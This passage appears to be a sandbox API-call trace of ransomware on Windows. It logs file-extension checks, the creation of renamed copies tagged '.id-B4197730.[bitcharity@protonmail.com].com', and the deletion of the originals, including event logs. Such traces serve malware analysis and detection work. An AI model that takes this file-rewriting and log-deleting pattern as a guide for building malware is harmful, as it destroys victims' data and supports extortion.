lstrlenW (lpString=".zip") returned 4 [0143.879] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0143.879] lstrlenW (lpString=".rar") returned 4 [0143.879] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0143.879] lstrlenW (lpString=".bz2") returned 4 [0143.879] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0143.879] lstrlenW (lpString=".7z") returned 3 [0143.879] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0143.879] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0143.879] lstrlenW (lpString=".dbf") returned 4 [0143.879] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0143.879] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0143.879] lstrlenW (lpString=".1cd") returned 4 [0143.879] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0143.879] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0143.879] lstrlenW (lpString=".jpg") returned 4 [0143.879] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0143.879] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0143.879] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0143.879] lstrlenW (lpString=".doc") returned 4 [0143.880] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0143.880] lstrlenW (lpString=".docx") returned 5 [0143.880] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0143.880] lstrlenW (lpString=".pdf") returned 4 [0143.880] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0143.880] lstrlenW (lpString=".xls") returned 4 [0143.880] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0143.880] lstrlenW (lpString=".xlsx") returned 5 [0143.880] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0143.880] lstrlenW (lpString=".ppt") returned 4 [0143.880] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0143.880] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0143.880] lstrlenW (lpString=".zip") returned 4 [0143.880] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0143.880] lstrlenW (lpString=".rar") returned 4 [0143.880] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0143.880] lstrlenW (lpString=".bz2") returned 4 [0143.880] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0143.880] lstrlenW (lpString=".7z") returned 3 [0143.880] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0143.880] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0143.880] lstrlenW (lpString=".dbf") returned 4 [0143.880] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0143.880] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0143.880] lstrlenW (lpString=".1cd") returned 4 [0143.880] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0143.880] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0143.880] lstrlenW (lpString=".jpg") returned 4 [0143.880] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0143.880] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0143.880] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0143.880] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0143.881] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=79192) returned 1 [0143.881] CloseHandle (hObject=0x1038) returned 1 [0143.881] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0143.881] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0143.881] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0143.881] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0143.881] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0143.881] lstrlenW (lpString=".doc") returned 4 [0143.881] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0143.881] lstrlenW (lpString=".docx") returned 5 [0143.881] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0143.881] lstrlenW (lpString=".pdf") returned 4 [0143.881] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0143.881] lstrlenW (lpString=".xls") returned 4 [0143.881] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0143.881] lstrlenW (lpString=".xlsx") returned 5 [0143.881] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0143.881] lstrlenW (lpString=".ppt") returned 4 [0143.881] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0143.881] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0143.881] lstrlenW (lpString=".zip") returned 4 [0143.881] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0143.881] lstrlenW (lpString=".rar") returned 4 [0143.881] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0143.881] lstrlenW (lpString=".bz2") returned 4 [0143.882] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0143.882] lstrlenW (lpString=".7z") returned 3 [0143.882] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0143.882] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0143.882] lstrlenW (lpString=".dbf") returned 4 [0143.882] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0143.882] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0143.882] lstrlenW (lpString=".1cd") returned 4 [0143.882] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0143.882] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0143.882] lstrlenW (lpString=".jpg") returned 4 [0143.882] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0143.882] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0143.882] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0143.882] lstrlenW (lpString=".doc") returned 4 [0143.882] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0143.882] lstrlenW (lpString=".docx") returned 5 [0143.882] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0143.882] lstrlenW (lpString=".pdf") returned 4 [0143.882] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0143.882] lstrlenW (lpString=".xls") returned 4 [0143.882] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0143.882] lstrlenW (lpString=".xlsx") returned 5 [0143.882] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0143.882] lstrlenW (lpString=".ppt") returned 4 [0143.882] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0143.882] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0143.882] lstrlenW (lpString=".zip") returned 4 [0143.882] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0143.882] lstrlenW (lpString=".rar") returned 4 [0143.882] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0143.882] lstrlenW (lpString=".bz2") returned 4 [0143.883] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0143.883] lstrlenW (lpString=".7z") returned 3 [0143.883] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0143.883] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0143.883] lstrlenW (lpString=".dbf") returned 4 [0143.883] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0143.883] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0143.883] lstrlenW (lpString=".1cd") returned 4 [0143.883] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0143.883] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0143.883] lstrlenW (lpString=".jpg") returned 4 [0143.883] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0143.883] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0143.883] lstrlenW (lpString="memtest.exe.mui") returned 15 [0143.883] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0143.883] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=45984) returned 1 [0143.883] CloseHandle (hObject=0x1038) returned 1 [0143.883] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui")) returned 0x20 [0143.883] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\memtest.exe.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0143.883] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0143.884] lstrlenW (lpString="C:\\Boot\\fr-FR\\memtest.exe.mui") returned 29 [0143.884] lstrlenW (lpString="C:\\Boot\\fr-FR\\memtest.exe.mui") returned 29 [0143.884] lstrlenW (lpString=".doc") returned 4 [0143.884] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0143.884] lstrlenW (lpString=".docx") returned 5 [0143.884] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0143.884] lstrlenW (lpString=".pdf") returned 4 [0143.884] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0143.884] lstrlenW (lpString=".xls") returned 4 [0143.884] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0143.884] lstrlenW (lpString=".xlsx") returned 5 [0143.884] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0143.884] lstrlenW (lpString=".ppt") returned 4 [0143.884] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0143.884] lstrlenW (lpString="C:\\Boot\\fr-FR\\memtest.exe.mui") returned 29 [0143.884] lstrlenW (lpString=".zip") returned 4 [0143.884] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0143.884] lstrlenW (lpString=".rar") returned 4 [0143.884] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0143.884] lstrlenW (lpString=".bz2") returned 4 [0143.884] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0143.884] lstrlenW (lpString=".7z") returned 3 [0143.884] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0143.884] lstrlenW (lpString="C:\\Boot\\fr-FR\\memtest.exe.mui") returned 29 [0143.884] lstrlenW (lpString=".dbf") returned 4 [0143.884] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0143.894] SetFileAttributesW (lpFileName="C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0143.894] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0144.117] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.117] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.117] CreateFileW (lpFileName="C:\\Logs\\Application.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\application.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0144.118] GetLastError () returned 0x0 [0144.118] ReadFile (in: hFile=0x1038, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0144.191] WriteFile (in: hFile=0x10a8, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0144.193] ReadFile (in: hFile=0x1038, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0144.193] WriteFile (in: hFile=0x10a8, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0xf4, lpOverlapped=0x0) returned 1 [0144.193] SetEndOfFile (hFile=0x10a8) returned 1 [0144.196] CloseHandle (hObject=0x10a8) returned 1 [0144.198] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.198] SetEndOfFile (hFile=0x1038) returned 1 [0144.201] CloseHandle (hObject=0x1038) returned 1 [0144.202] SetFileAttributesW (lpFileName="C:\\Logs\\Application.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0144.202] DeleteFileW (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx")) returned 1 [0144.202] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0144.202] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0144.202] lstrlenW (lpString=".doc") returned 4 [0144.202] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0144.202] lstrlenW (lpString=".docx") returned 5 [0144.202] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0144.202] lstrlenW (lpString=".pdf") returned 4 [0144.202] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0144.202] lstrlenW (lpString=".xls") returned 4 [0144.202] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0144.203] lstrlenW (lpString=".xlsx") returned 5 [0144.203] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0144.203] lstrlenW (lpString=".ppt") returned 4 [0144.203] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0144.203] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0144.203] lstrlenW (lpString=".zip") returned 4 [0144.203] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0144.203] lstrlenW (lpString=".rar") returned 4 [0144.203] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0144.203] lstrlenW (lpString=".bz2") returned 4 [0144.203] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0144.203] lstrlenW (lpString=".7z") returned 3 [0144.203] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0144.203] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0144.203] lstrlenW (lpString=".dbf") returned 4 [0144.203] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0144.203] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0144.203] lstrlenW (lpString=".1cd") returned 4 [0144.203] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0144.203] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0144.203] lstrlenW (lpString=".jpg") returned 4 [0144.203] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0144.203] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0144.203] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0144.203] lstrlenW (lpString=".doc") returned 4 [0144.203] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0144.203] lstrlenW (lpString=".docx") returned 5 [0144.203] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0144.203] lstrlenW (lpString=".pdf") returned 4 [0144.203] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0144.204] lstrlenW (lpString=".xls") returned 4 [0144.204] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0144.204] lstrlenW (lpString=".xlsx") returned 5 [0144.204] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0144.204] lstrlenW (lpString=".ppt") returned 4 [0144.204] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0144.204] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0144.204] lstrlenW (lpString=".zip") returned 4 [0144.204] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0144.204] lstrlenW (lpString=".rar") returned 4 [0144.204] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0144.204] lstrlenW (lpString=".bz2") returned 4 [0144.204] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0144.204] lstrlenW (lpString=".7z") returned 3 [0144.204] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0144.204] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0144.204] lstrlenW (lpString=".dbf") returned 4 [0144.204] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0144.204] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0144.204] lstrlenW (lpString=".1cd") returned 4 [0144.204] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0144.204] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0144.204] lstrlenW (lpString=".jpg") returned 4 [0144.204] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0144.204] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0144.204] lstrlenW (lpString="Internet Explorer.evtx") returned 22 [0144.204] CreateFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0144.205] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=69632) returned 1 [0144.205] CloseHandle (hObject=0x1038) returned 1 [0144.205] GetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx")) returned 0x20 [0144.205] GetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\internet explorer.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0144.205] CreateFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0144.205] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.205] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.205] CreateFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\internet explorer.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0144.205] GetLastError () returned 0x0 [0144.206] ReadFile (in: hFile=0x1038, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0144.356] WriteFile (in: hFile=0x10a8, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0144.358] ReadFile (in: hFile=0x1038, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0144.358] WriteFile (in: hFile=0x10a8, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x100, lpOverlapped=0x0) returned 1 [0144.358] SetEndOfFile (hFile=0x10a8) returned 1 [0144.358] CloseHandle (hObject=0x10a8) returned 1 [0144.360] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.360] SetEndOfFile (hFile=0x1038) returned 1 [0144.362] CloseHandle (hObject=0x1038) returned 1 [0144.362] SetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0144.362] DeleteFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx")) returned 1 [0144.363] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0144.363] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0144.363] lstrlenW (lpString=".doc") returned 4 [0144.363] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0144.363] lstrlenW (lpString=".docx") returned 5 [0144.363] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0144.363] lstrlenW (lpString=".pdf") returned 4 [0144.363] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0144.363] lstrlenW (lpString=".xls") returned 4 [0144.363] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0144.363] lstrlenW (lpString=".xlsx") returned 5 [0144.363] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0144.363] lstrlenW (lpString=".ppt") returned 4 [0144.363] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0144.363] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0144.363] lstrlenW (lpString=".zip") returned 4 [0144.363] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0144.363] lstrlenW (lpString=".rar") returned 4 [0144.363] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0144.363] lstrlenW (lpString=".bz2") returned 4 [0144.363] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0144.363] lstrlenW (lpString=".7z") returned 3 [0144.363] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0144.363] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0144.363] lstrlenW (lpString=".dbf") returned 4 [0144.363] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0144.364] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0144.364] lstrlenW (lpString=".1cd") returned 4 [0144.364] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0144.364] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0144.364] lstrlenW (lpString=".jpg") returned 4 [0144.364] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0144.364] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0144.364] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0144.364] lstrlenW (lpString=".doc") returned 4 [0144.364] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0144.364] lstrlenW (lpString=".docx") returned 5 [0144.364] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0144.364] lstrlenW (lpString=".pdf") returned 4 [0144.364] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0144.364] lstrlenW (lpString=".xls") returned 4 [0144.364] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0144.364] lstrlenW (lpString=".xlsx") returned 5 [0144.364] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0144.364] lstrlenW (lpString=".ppt") returned 4 [0144.364] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0144.364] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0144.364] lstrlenW (lpString=".zip") returned 4 [0144.364] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0144.364] lstrlenW (lpString=".rar") returned 4 [0144.364] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0144.364] lstrlenW (lpString=".bz2") returned 4 [0144.365] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0144.365] lstrlenW (lpString=".7z") returned 3 [0144.365] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0144.365] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0144.365] lstrlenW (lpString=".dbf") returned 4 [0144.365] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0144.365] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0144.365] lstrlenW (lpString=".1cd") returned 4 [0144.365] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0144.365] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0144.365] lstrlenW (lpString=".jpg") returned 4 [0144.365] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0144.365] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0144.365] lstrlenW (lpString="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 78 [0144.365] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0144.602] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=69632) returned 1 [0144.602] CloseHandle (hObject=0x10b4) returned 1 [0144.602] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx")) returned 0x20 [0144.603] GetFileAttributesW 